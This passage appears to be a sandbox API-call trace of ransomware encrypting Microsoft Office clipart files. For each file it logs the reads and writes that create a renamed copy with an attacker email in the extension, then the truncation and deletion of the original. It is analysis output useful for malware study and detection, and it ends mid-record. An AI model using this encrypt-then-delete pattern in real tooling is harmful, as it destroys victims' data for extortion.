[0085.659] CloseHandle (hObject=0x384) returned 1 [0085.659] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1 [0085.659] SetEndOfFile (hFile=0x308) returned 1 [0085.660] CloseHandle (hObject=0x308) returned 1 [0085.660] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01761_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0085.660] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01761_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01761_.wmf")) returned 1 [0085.664] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01761_.WMF") returned 68 [0085.664] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01761_.WMF") returned 68 [0085.664] lstrlenW (lpString=".doc") returned 4 [0085.664] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0085.664] lstrlenW (lpString=".docx") returned 5 [0085.665] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0085.665] lstrlenW (lpString=".pdf") returned 4 [0085.665] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0085.665] lstrlenW (lpString=".xls") returned 4 [0085.665] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0085.665] lstrlenW (lpString=".xlsx") returned 5 [0085.665] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0085.665] lstrlenW (lpString=".ppt") returned 4 [0085.665] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0085.665] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01761_.WMF") returned 68 [0085.665] lstrlenW (lpString=".zip") returned 4 [0085.665] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0085.665] lstrlenW (lpString=".rar") returned 4 [0085.665] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0085.665] lstrlenW (lpString=".bz2") returned 4 [0085.665] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0085.665] lstrlenW (lpString=".7z") returned 3 [0085.665] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0085.665] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01761_.WMF") returned 68 [0085.665] lstrlenW (lpString=".dbf") returned 4 [0085.665] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0085.665] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01761_.WMF") returned 68 [0085.665] lstrlenW (lpString=".1cd") returned 4 [0085.665] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0085.665] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01761_.WMF") returned 68 [0085.665] lstrlenW (lpString=".jpg") returned 4 [0085.665] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0085.665] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01761_.WMF") returned 68 [0085.665] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01761_.WMF") returned 68 [0085.665] lstrlenW (lpString=".doc") returned 4 [0085.665] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0085.665] lstrlenW (lpString=".docx") returned 5 [0085.665] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0085.666] lstrlenW (lpString=".pdf") returned 4 [0085.666] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0085.666] lstrlenW (lpString=".xls") returned 4 [0085.666] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0085.666] lstrlenW (lpString=".xlsx") returned 5 [0085.666] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0085.666] lstrlenW (lpString=".ppt") returned 4 [0085.666] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0085.666] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01761_.WMF") returned 68 [0085.666] lstrlenW (lpString=".zip") returned 4 [0085.666] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0085.666] lstrlenW (lpString=".rar") returned 4 [0085.666] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0085.666] lstrlenW (lpString=".bz2") returned 4 [0085.666] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0085.666] lstrlenW (lpString=".7z") returned 3 [0085.666] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0085.666] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01761_.WMF") returned 68 [0085.666] lstrlenW (lpString=".dbf") returned 4 [0085.666] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0085.666] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01761_.WMF") returned 68 [0085.666] lstrlenW (lpString=".1cd") returned 4 [0085.666] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0085.666] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01761_.WMF") returned 68 [0085.666] lstrlenW (lpString=".jpg") returned 4 [0085.666] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0085.666] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0085.666] lstrlenW (lpString="DD01772_.WMF") returned 12 [0085.666] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01772_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01772_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0085.667] GetFileSizeEx (in: hFile=0x308, lpFileSize=0x311ff14 | out: lpFileSize=0x311ff14*=2300) returned 1 [0085.667] CloseHandle (hObject=0x308) returned 1 [0085.667] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01772_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01772_.wmf")) returned 0x220 [0085.668] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01772_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01772_.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0085.668] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01772_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01772_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0085.668] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1 [0085.668] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1 [0085.668] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01772_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01772_.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0085.668] GetLastError () returned 0x0 [0085.668] ReadFile (in: hFile=0x308, lpBuffer=0x3b3b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x311fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesRead=0x311fecc*=0x8fc, lpOverlapped=0x0) returned 1 [0085.670] WriteFile (in: hFile=0x384, lpBuffer=0x3b3b020*, nNumberOfBytesToWrite=0x900, lpNumberOfBytesWritten=0x311fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesWritten=0x311fc94*=0x900, lpOverlapped=0x0) returned 1 [0085.671] ReadFile (in: hFile=0x308, lpBuffer=0x3b3b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x311fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesRead=0x311fecc*=0x0, lpOverlapped=0x0) returned 1 [0085.671] WriteFile (in: hFile=0x384, lpBuffer=0x3b3b020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x311fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesWritten=0x311fc94*=0xec, lpOverlapped=0x0) returned 1 [0085.671] SetEndOfFile (hFile=0x384) returned 1 [0085.671] CloseHandle (hObject=0x384) returned 1 [0085.671] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1 [0085.671] SetEndOfFile (hFile=0x308) returned 1 [0085.672] CloseHandle (hObject=0x308) returned 1 [0085.672] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01772_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0085.672] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01772_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01772_.wmf")) returned 1 [0085.672] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01772_.WMF") returned 68 [0085.672] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01772_.WMF") returned 68 [0085.672] lstrlenW (lpString=".doc") returned 4 [0085.672] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0085.673] lstrlenW (lpString=".docx") returned 5 [0085.673] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0085.673] lstrlenW (lpString=".pdf") returned 4 [0085.673] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0085.673] lstrlenW (lpString=".xls") returned 4 [0085.673] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0085.673] lstrlenW (lpString=".xlsx") returned 5 [0085.673] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0085.673] lstrlenW (lpString=".ppt") returned 4 [0085.673] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0085.673] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01772_.WMF") returned 68 [0085.673] lstrlenW (lpString=".zip") returned 4 [0085.673] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0085.673] lstrlenW (lpString=".rar") returned 4 [0085.673] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0085.673] lstrlenW (lpString=".bz2") returned 4 [0085.673] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0085.673] lstrlenW (lpString=".7z") returned 3 [0085.673] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0085.673] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01772_.WMF") returned 68 [0085.673] lstrlenW (lpString=".dbf") returned 4 [0085.673] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0085.673] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01772_.WMF") returned 68 [0085.673] lstrlenW (lpString=".1cd") returned 4 [0085.673] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0085.673] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01772_.WMF") returned 68 [0085.673] lstrlenW (lpString=".jpg") returned 4 [0085.673] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0085.673] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01772_.WMF") returned 68 [0085.673] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01772_.WMF") returned 68 [0085.673] lstrlenW (lpString=".doc") returned 4 [0085.673] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0085.674] lstrlenW (lpString=".docx") returned 5 [0085.674] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0085.674] lstrlenW (lpString=".pdf") returned 4 [0085.674] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0085.674] lstrlenW (lpString=".xls") returned 4 [0085.674] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0085.674] lstrlenW (lpString=".xlsx") returned 5 [0085.674] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0085.674] lstrlenW (lpString=".ppt") returned 4 [0085.674] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0085.674] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01772_.WMF") returned 68 [0085.674] lstrlenW (lpString=".zip") returned 4 [0085.674] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0085.674] lstrlenW (lpString=".rar") returned 4 [0085.674] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0085.674] lstrlenW (lpString=".bz2") returned 4 [0085.674] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0085.674] lstrlenW (lpString=".7z") returned 3 [0085.674] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0085.674] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01772_.WMF") returned 68 [0085.674] lstrlenW (lpString=".dbf") returned 4 [0085.674] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0085.674] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01772_.WMF") returned 68 [0085.674] lstrlenW (lpString=".1cd") returned 4 [0085.674] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0085.674] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01772_.WMF") returned 68 [0085.674] lstrlenW (lpString=".jpg") returned 4 [0085.674] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0085.674] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0085.674] lstrlenW (lpString="DD01793_.WMF") returned 12 [0085.675] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01793_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01793_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0085.675] GetFileSizeEx (in: hFile=0x308, lpFileSize=0x311ff14 | out: lpFileSize=0x311ff14*=3252) returned 1 [0085.675] CloseHandle (hObject=0x308) returned 1 [0085.675] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01793_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01793_.wmf")) returned 0x220 [0085.675] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01793_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01793_.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0085.675] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01793_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01793_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0085.675] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1 [0085.675] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1 [0085.675] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01793_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01793_.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0085.676] GetLastError () returned 0x0 [0085.676] ReadFile (in: hFile=0x308, lpBuffer=0x3b3b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x311fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesRead=0x311fecc*=0xcb4, lpOverlapped=0x0) returned 1 [0086.068] WriteFile (in: hFile=0x384, lpBuffer=0x3b3b020*, nNumberOfBytesToWrite=0xcc0, lpNumberOfBytesWritten=0x311fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesWritten=0x311fc94*=0xcc0, lpOverlapped=0x0) returned 1 [0086.069] ReadFile (in: hFile=0x308, lpBuffer=0x3b3b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x311fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesRead=0x311fecc*=0x0, lpOverlapped=0x0) returned 1 [0086.069] WriteFile (in: hFile=0x384, lpBuffer=0x3b3b020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x311fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesWritten=0x311fc94*=0xec, lpOverlapped=0x0) returned 1 [0086.069] SetEndOfFile (hFile=0x384) returned 1 [0086.069] CloseHandle (hObject=0x384) returned 1 [0086.069] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1 [0086.069] SetEndOfFile (hFile=0x308) returned 1 [0086.070] CloseHandle (hObject=0x308) returned 1 [0086.070] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01793_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0086.070] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01793_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01793_.wmf")) returned 1 [0086.071] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01793_.WMF") returned 68 [0086.071] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01793_.WMF") returned 68 [0086.071] lstrlenW (lpString=".doc") returned 4 [0086.071] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0086.071] lstrlenW (lpString=".docx") returned 5 [0086.071] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0086.071] lstrlenW (lpString=".pdf") returned 4 [0086.071] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0086.071] lstrlenW (lpString=".xls") returned 4 [0086.071] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0086.071] lstrlenW (lpString=".xlsx") returned 5 [0086.071] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0086.071] lstrlenW (lpString=".ppt") returned 4 [0086.071] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0086.071] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01793_.WMF") returned 68 [0086.071] lstrlenW (lpString=".zip") returned 4 [0086.071] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0086.071] lstrlenW (lpString=".rar") returned 4 [0086.071] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0086.071] lstrlenW (lpString=".bz2") returned 4 [0086.071] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0086.071] lstrlenW (lpString=".7z") returned 3 [0086.071] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0086.071] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01793_.WMF") returned 68 [0086.071] lstrlenW (lpString=".dbf") returned 4 [0086.071] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0086.072] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01793_.WMF") returned 68 [0086.072] lstrlenW (lpString=".1cd") returned 4 [0086.072] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0086.072] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01793_.WMF") returned 68 [0086.072] lstrlenW (lpString=".jpg") returned 4 [0086.072] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0086.072] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01793_.WMF") returned 68 [0086.072] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01793_.WMF") returned 68 [0086.072] lstrlenW (lpString=".doc") returned 4 [0086.072] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0086.072] lstrlenW (lpString=".docx") returned 5 [0086.072] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0086.072] lstrlenW (lpString=".pdf") returned 4 [0086.072] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0086.072] lstrlenW (lpString=".xls") returned 4 [0086.072] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0086.072] lstrlenW (lpString=".xlsx") returned 5 [0086.072] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0086.072] lstrlenW (lpString=".ppt") returned 4 [0086.072] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0086.072] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01793_.WMF") returned 68 [0086.072] lstrlenW (lpString=".zip") returned 4 [0086.072] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0086.072] lstrlenW (lpString=".rar") returned 4 [0086.072] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0086.072] lstrlenW (lpString=".bz2") returned 4 [0086.072] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0086.072] lstrlenW (lpString=".7z") returned 3 [0086.072] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0086.072] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01793_.WMF") returned 68 [0086.072] lstrlenW (lpString=".dbf") returned 4 [0086.072] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0086.072] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01793_.WMF") returned 68 [0086.072] lstrlenW (lpString=".1cd") returned 4 [0086.072] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0086.072] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01793_.WMF") returned 68 [0086.072] lstrlenW (lpString=".jpg") returned 4 [0086.073] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0086.073] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0086.073] lstrlenW (lpString="FD00074_.WMF") returned 12 [0086.073] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00074_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00074_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0086.074] GetFileSizeEx (in: hFile=0x308, lpFileSize=0x311ff14 | out: lpFileSize=0x311ff14*=17850) returned 1 [0086.074] CloseHandle (hObject=0x308) returned 1 [0086.074] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00074_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00074_.wmf")) returned 0x220 [0086.074] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00074_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00074_.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0086.074] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00074_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00074_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0086.074] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1 [0086.074] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1 [0086.074] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00074_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00074_.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0086.075] GetLastError () returned 0x0 [0086.075] ReadFile (in: hFile=0x308, lpBuffer=0x3b3b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x311fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesRead=0x311fecc*=0x45ba, lpOverlapped=0x0) returned 1 [0086.076] WriteFile (in: hFile=0x384, lpBuffer=0x3b3b020*, nNumberOfBytesToWrite=0x45c0, lpNumberOfBytesWritten=0x311fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesWritten=0x311fc94*=0x45c0, lpOverlapped=0x0) returned 1 [0086.078] ReadFile (in: hFile=0x308, lpBuffer=0x3b3b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x311fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesRead=0x311fecc*=0x0, lpOverlapped=0x0) returned 1 [0086.078] WriteFile (in: hFile=0x384, lpBuffer=0x3b3b020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x311fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesWritten=0x311fc94*=0xec, lpOverlapped=0x0) returned 1 [0086.078] SetEndOfFile (hFile=0x384) returned 1 [0086.078] CloseHandle (hObject=0x384) returned 1 [0086.078] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1 [0086.078] SetEndOfFile (hFile=0x308) returned 1 [0086.079] CloseHandle (hObject=0x308) returned 1 [0086.079] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft 